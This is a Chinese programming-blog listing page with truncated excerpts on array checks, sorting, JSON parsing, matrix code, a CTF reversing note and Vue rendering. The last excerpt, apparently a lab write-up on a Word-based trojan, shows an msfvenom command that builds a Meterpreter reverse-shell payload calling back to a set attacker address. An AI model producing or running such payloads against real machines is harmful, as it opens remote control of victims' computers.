最精简版本 int check_data(int *array, int n) { while(n--) if (*array++ != 0x00) return 0; return 1; } 返回1 array数组全零,否则正常非全零。 int check_data(int *array) { w ...
分类:
编程语言 时间:
2021-04-01 13:15:24
阅读次数:
0
###案例1 java byte[]与十六进制字符串相互转换 import java.util.Arrays; public class ccc { public static void main(String[] args) { int[] array ={-6, 1, 18, 114, 54, ...
分类:
编程语言 时间:
2021-04-01 12:57:31
阅读次数:
0
插入排序 最佳情况:T(n) = O(n) 最坏情况:T(n) = O(n2) 平均情况:T(n) = O(n2) public int[] insertionSort(int[] array) { if (array.length == 0) { return array; } int curre ...
分类:
编程语言 时间:
2021-03-31 11:43:47
阅读次数:
0
1、c#中解析json 文件的方法: json格式: { "result": "success", "total": 1, "data": [ { "addrCode": "320116006", "sysId": "29cee32c-b5e6-4940-878f-7e170731bf19", } ...
Given a fixed length array arr of integers, duplicate each occurrence of zero, shifting the remaining elements to the right. Note that elements beyond ...
分类:
其他好文 时间:
2021-03-30 12:46:57
阅读次数:
0
1、c语言中计算4行3列矩阵和3行4列矩阵的乘积 #include <stdio.h> int main(void) { int i, j, k; int a[4][3], b[3][4]; puts("input the array a."); for (i = 0; i < 4; i++) { ...
分类:
编程语言 时间:
2021-03-29 12:51:06
阅读次数:
0
今天早点干活 仍然是常规的Windows可执行程序逆向,拖入exeinfope之后发现没壳直接丢进IDA,找到main函数进入 int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // edx int ...
分类:
其他好文 时间:
2021-03-29 12:28:35
阅读次数:
0
渲染数据时,有时候往往需要把最新的那条数据放在最上面,最简单的方法就是在渲染之前把数据先倒序排列好,再渲染到网页上。 这时就要用到reverse()。 <div class="list" v-for="(item,index) in reverseSum" :key="index> <ul > <l ...
分类:
Web程序 时间:
2021-03-29 12:27:58
阅读次数:
0
function Checkexeisrunning(ename:string):Boolean; var hwd:hwnd; scr:array [0..254] of Char; begin Result:=False; hwd:=GetWindow(Application.Handle,GW_ ...
分类:
其他好文 时间:
2021-03-26 15:28:08
阅读次数:
0
环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1 ? 放到VPS上,这里我们放到本机搭 ...
分类:
系统相关 时间:
2021-03-18 14:14:35
阅读次数:
0